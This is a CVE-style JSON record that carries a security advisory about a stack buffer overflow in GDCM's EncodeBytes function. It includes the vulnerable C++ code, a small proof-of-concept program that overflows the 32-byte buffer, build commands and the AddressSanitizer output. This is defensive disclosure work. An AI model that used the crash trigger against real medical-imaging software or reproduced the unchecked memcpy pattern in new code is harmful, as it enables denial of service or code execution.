{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "GDCM (Grassroots DICOM)",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-068\nProduct:                   GDCM (Grassroots DICOM)\nManufacturer:              GDCM Project\nAffected Version(s):       3.3.0\nTested Version(s):         3.3.0\nVulnerability Type:        Stack-based Buffer Overflow (CWE-121)\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure:         2026-09-23\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe library function gdcm::System::EncodeBytes, defined in\nSource/Common/gdcmSystem.cxx, is vulnerable to a stack-based buffer\noverflow. The function uses a fixed-size 32-byte stack buffer and copies\ncaller-provided data into it via memcpy() without checking the size\nparameter against the buffer capacity. If a caller invokes EncodeBytes\nwith a size value greater than 32, a stack buffer overflow occurs,\npotentially leading to a process crash or arbitrary code execution in\nthe context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe EncodeBytes function is a public static method of the\ngdcm::System class (declared in Source/Common/gdcmSystem.h). Its purpose\nis to convert a byte array (e.g. a UUID) into its decimal string\nrepresentation. The vulnerable code at Source/Common/gdcmSystem.cxx:620\nis the following:\n\n\n  {\n    bool zero = false;\n    std::string sres;\n    unsigned char buffer[32];        // 32-byte stack buffer\n    unsigned char *addr = buffer;\n    memcpy(addr, data, size);        // BUG: no bounds check on \u0027size\u0027\n    while(!zero)\n      {\n      int res = getlastdigit(addr, size);\n      const char v = (char)(\u00270\u0027 + res);\n      sres.insert(sres.begin(), v);\n      zero = true;\n      for(int i = 0; i \u003c size; ++i)\n        {\n        zero = zero \u0026\u0026 (addr[i] == 0);\n        }\n      }\n\n    //return sres;\n    strcpy(out, sres.c_str()); //, sres.size() );\n    return sres.size();\n  }\n\nThe \u0027size\u0027 parameter is passed directly to memcpy() without validation\nagainst the 32-byte buffer capacity. Additionally, the subsequent\ngetlastdigit() call and the loop iterating \u0027size\u0027 elements\nall operate without bounds checks.\n\nSince EncodeBytes is a public API, any downstream application that links\nagainst GDCM and calls System::EncodeBytes with size \u003e 32 is vulnerable.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that calls the actual gdcm::System::EncodeBytes\nfunction from a C++ program linked against the GDCM library, passing\na size value of 48 to overflow the 32-byte stack buffer.\n\nPoC source code:\n\n#include \u003cgdcmSystem.h\u003e\n#include \u003ccstdio\u003e\n#include \u003ccstring\u003e\n\nint main()\n{\n    const int overflow_size = 48;  // Exceeds the 32-byte buffer by 16\n    unsigned char data[overflow_size];\n    memset(data, 0x41, overflow_size);  // \u0027A\u0027 pattern\n\n    char outbuf[256];\n    size_t len = gdcm::System::EncodeBytes(outbuf, data, overflow_size);\n    printf(\"EncodeBytes returned length: %zu\\n\", len);\n    return 0;\n}\n\nTo build and run the PoC, first compile GDCM with AddressSanitizer\n(ASan) and then compile the PoC linking against the library:\n\nmkdir -p /tmp/gdcmbin\ncmake -S . -B /tmp/gdcmbin \\\n  -DGDCM_BUILD_SHARED_LIBS=OFF \\\n  -DGDCM_BUILD_APPLICATIONS=OFF \\\n  -DGDCM_BUILD_TESTING=OFF \\\n  -DCMAKE_CXX_FLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g\" \\\n  -DCMAKE_EXE_LINKER_FLAGS=\"-fsanitize=address\"\nmake -C /tmp/gdcmbin -j$(nproc) gdcmCommon\n\ng++ -fsanitize=address -fno-omit-frame-pointer -g \\\n  -ISource/Common \\\n  pocs/poc1_encodebytes_stack_overflow.cpp \\\n  /tmp/gdcmbin/bin/libgdcmCommon.a -o poc1\n\nRunning the PoC triggers the stack buffer overflow, detected by ASan:\n\n  $ ./poc1\n  ==2703==ERROR: AddressSanitizer: stack-buffer-overflow on address\n  0x7bb2b18f00c0 at pc 0x7fb2b4329714 bp 0x7ffeeda00b20 sp 0x7ffeeda002c8\n  WRITE of size 48 at 0x7bb2b18f00c0 thread T0\n      #0 0x7fb2b4329713 in memcpy (/usr/lib/libasan.so.8+0x129713)\n\n          Source/Common/gdcmSystem.cxx:626\n      [160, 192) \u0027buffer\u0027 (line 624) \u003c== Memory access at offset 192\n      overflows this variable\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n    https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-068\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-121",
              "description": "CWE-121",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/84"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://gdcm.sourceforge.net/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/84"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-068]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0435",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84",
            "automated": true,
            "contentSha256": "efef70cf82ffb11cf3d41871ea9496a4c83483aed378ce27fd4a5d08ce7d83b8",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/84",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T13:33:26Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0435"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}